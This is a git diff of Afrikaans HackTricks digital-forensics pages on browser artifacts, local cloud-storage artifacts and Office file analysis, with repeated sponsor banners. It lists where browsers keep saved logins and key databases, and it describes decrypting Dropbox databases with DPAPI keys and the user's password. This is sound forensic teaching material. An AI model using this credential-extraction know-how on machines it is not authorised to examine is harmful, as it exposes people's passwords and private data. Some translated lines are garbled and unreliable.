Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -431,7 +431,7 @@ Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,23 +17,23 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Browser Artefakte <a href="#id-3def" id="id-3def"></a>
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaier, maar oor die algemeen soortgelyke datatipes stoor.
Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor verskillende blaaier, maar oor die algemeen soortgelyke datatipes stoor.
Hier is 'n opsomming van die mees algemene blaaier artefakte:
* **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig vir die identifisering van besoeke aan skadelike webwerwe.
* **Outomatiese Data**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis.
* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor word vir vinnige toegang.
* **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
* **Tuisblad**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise.
* **Aantekeninge**: Gestoorde aanmeldingslegitimasie.
* **Cache**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise.
* **Aantekeninge**: Gestoorde aanmeldingsgelde.
* **Favicons**: Ikone wat met webwerwe geassosieer word, verskyn in lêers en bladmerke, nuttig vir addisionele inligting oor gebruikersbesoeke.
* **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies.
* **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
@ -43,13 +43,13 @@ Hier is 'n opsomming van die mees algemene blaaier artefakte:
## Firefox
Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke ligginge gebaseer op die bedryfstelsel:
Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke plekke gebaseer op die bedryfstelsel:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming/Mozilla/Firefox/Profiles/`
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer genoem in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, mag dit verwyder wees.
'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Die data van elke profiel word gestoor in 'n vouer genaamd in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees.
Binne elke profielvouer kan jy verskeie belangrike lêers vind:
@ -57,15 +57,15 @@ Binne elke profielvouer kan jy verskeie belangrike lêers vind:
* Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek.
* **bookmarkbackups**: Bevat rugsteun van bladmerke.
* **formhistory.sqlite**: Stoor webvormdata.
* **handlers.json**: Bestuur protokolhanterings.
* **handlers.json**: Bestuur protokolhanteraars.
* **persdict.dat**: Aangepaste woordeboekwoorde.
* **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
* **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
* **cache2/entries** of **startupCache**: Tuisbladdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **cookies.sqlite**: Koekie-stoor, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
* **cache2/entries** of **startupCache**: Cache-data, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Stoor favicons.
* **prefs.js**: Gebruikersinstellings en voorkeure.
* **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite.
* **thumbnails**: Webwerfduimnaels.
* **thumbnails**: Webwerf-duimnaels.
* **logins.json**: Versleutelde aanmeldingsinligting.
* **key4.db** of **key3.db**: Stoor versleutelingssleutels vir die beveiliging van sensitiewe inligting.
@ -95,21 +95,21 @@ Google Chrome stoor gebruikersprofiele op spesifieke plekke gebaseer op die bedr
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** vouers. Die volgende lêers bevat belangrike data:
Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** gids. Die volgende lêers bevat belangrike data:
- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vormindienings, en bladsy herlaaiings.
- **Koekies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar.
- **Cache**: Hou gekaapte data. Windows gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik vir inspeksie.
- **Cache**: Hou gekaapte data. Windows-gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik vir inspeksie.
- **Bladmerke**: Gebruiker bladmerke.
- **Web Data**: Bevat vormgeskiedenis.
- **Favicons**: Stoor webwerf favicons.
- **Aantekeningsdata**: Sluit aanmeldingsinligting soos gebruikersname en wagwoorde in.
- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai sessie en oop lappe.
- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief tydens die laaste sessie voor Chrome gesluit is.
- **Aantekeningsdata**: Sluit aanmeldingsbewyse soos gebruikersname en wagwoorde in.
- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai-sessie en oop lappe.
- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief gedurende die laaste sessie voor Chrome gesluit is.
- **Uitbreidings**: Gidse vir blaaieruitbreidings en byvoegings.
- **Duimnaels**: Stoor webwerf duimnaels.
- **Voorkeure**: 'n Lêer ryk aan inligting, insluitend instellings vir proppe, uitbreidings, pop-ups, kennisgewings, en meer.
- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of teen-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"geaktiveer: waar,"}` in die uitset.
- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of anti-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"geaktiveer: waar,"}` in die uitset.
## **SQLite DB Data Herwinning**
@ -121,11 +121,11 @@ Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help o
### Metadata Berging
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Saam met dit, kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuisves in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel, kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuisves in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
### Cache Inspeksie
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak voorsiening vir cache inspeksie, wat die lokasie van die cache data ekstraksie vouer benodig. Metadata vir die cache sluit lêernaam, gids, toegangstelling, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data ekstraksie gids benodig. Metadata vir die cache sluit lêernaam, gids, toegangstellings, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
### Koekies Bestuur
@ -137,7 +137,7 @@ Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/u
### Blaai Geskiedenis
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die geëkstraeerde geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, saam met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die uitgepakte geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Getikte URL's
@ -147,7 +147,7 @@ Getikte URL's en hul gebruikstye word binne die register gestoor onder `NTUSER.D
Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is:
- **Profiel Pad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Profiel Paaie**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Geskiedenis, Koekies, en Aflaaie**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Instellings, Bladmerke, en Leeslys**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
@ -161,7 +161,7 @@ Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit i
- **Downloads.plist**: Inligting oor afgelaaide lêers.
- **Bookmarks.plist**: Stoor gebladmerkte URL's.
- **TopSites.plist**: Mees besoekte webwerwe.
- **Extensions.plist**: Lys van Safari blaaier uitbreidings. Gebruik `plutil` of `pluginkit` vir herwinning.
- **Extensions.plist**: Lys van Safari blaaieruitbreidings. Gebruik `plutil` of `pluginkit` om te herwin.
- **UserNotificationPermissions.plist**: Domeine toegelaat om kennisgewings te stuur. Gebruik `plutil` om te ontled.
- **LastSession.plist**: Lappe van die laaste sessie. Gebruik `plutil` om te ontled.
- **Blaaier se ingeboude teen-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is.
@ -172,7 +172,26 @@ Opera se data bly in `/Users/$USER/Library/Application Support/com.operasoftware
- **Blaaier se ingeboude teen-phishing**: Verifieer deur te kyk of `fraud_protection_enabled` in die Voorkeure lêer op `true` gestel is met `grep`.
Hierdie paaie en bevele is noodsaaklik vir die toegang en begrip van die blaai data gestoor deur verskillende webblaaier.
Hierdie paaie en opdragte is noodsaaklik vir die toegang en begrip van die blaai data gestoor deur verskillende webblaaier.
## Verwysings
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
- **Boek: OS X Incident Response: Scripting and Analysis Deur Jaron Bradley bl. 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik **werkvloeie te bou en outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,14 +17,14 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat oor die gesinkroniseerde lêers:
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat 'n paar interessante data bevat rakende die gesinkroniseerde lêers:
* Grootte in bytes
* Skeppingsdatum
@ -35,7 +35,7 @@ In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\L
* Verslaggenereringstyd
* Grootte van die HD van die OS
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat gesinkroniseer is met OneDrive.
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat met OneDrive gesinkroniseer is.
## Google Drive
@ -62,9 +62,9 @@ En die hoofdatabasisse is:
* Deleted.dbx
* Config.dbx
Die ".dbx"-uitbreiding beteken dat die **databasisse** **versleutel** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Die ".dbx"-uitbreiding beteken dat die **databasisse** **gekripteer** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Om die versleuteling wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Om die kriptering wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Nietemin, die hoofinligting is:
@ -73,20 +73,20 @@ Nietemin, die hoofinligting is:
* **Algoritme**: PBKDF2
* **Iterasies**: 1066
Afgesien van daardie inligting, om die databasisse te ontsluit, benodig jy steeds:
Afgesien van daardie inligting, om die databasisse te dekripteer, het jy steeds nodig:
* Die **versleutelde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr)
* Die **gekripteerde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr)
* Die **`SYSTEM`** en **`SECURITY`**-bytjies
* Die **DPAPI-meestersleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
* Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** gebruik:**
![](<../../../.gitbook/assets/image (443).png>)
As alles soos verwag verloop, sal die instrument die **hoofleutel** aandui wat jy nodig het om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofleutel as die "wagwoord" binne die kwitansie te plaas.
As alles soos verwag verloop, sal die instrument die **primêre sleutel** aandui wat jy moet gebruik om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die primêre sleutel as die "wagwoord" binne die kwitansie te plaas.
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsluit kan word met:
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te kripteer wat gedekripteer kan word met:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@ -116,14 +116,14 @@ Ander tabelle binne hierdie databasis bevat meer interessante inligting:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,18 +17,18 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Vir verdere inligting, besoek [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming:
Microsoft het baie kantoorlêerformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) is. Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul.
Microsoft het baie kantoor dokumentformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) is. Hierdie formate kan makros insluit, wat hulle teikens maak vir hengel en kwaadwillige sagteware. OOXML-lêers is gestruktureer as zip-houers, wat inspeksie deur middel van ontzip toelaat, wat die lêer- en vouerhiërargie en XML-lêerinhoud onthul.
Om OOXML-lêerstrukture te verken, word die opdrag om 'n dokument te ontzip en die uitvoerstruktuur gegee. Tegnieke vir die versteek van data in hierdie lêers is gedokumenteer, wat dui op voortdurende innovasie in data-versteek binne CTF-uitdagings.
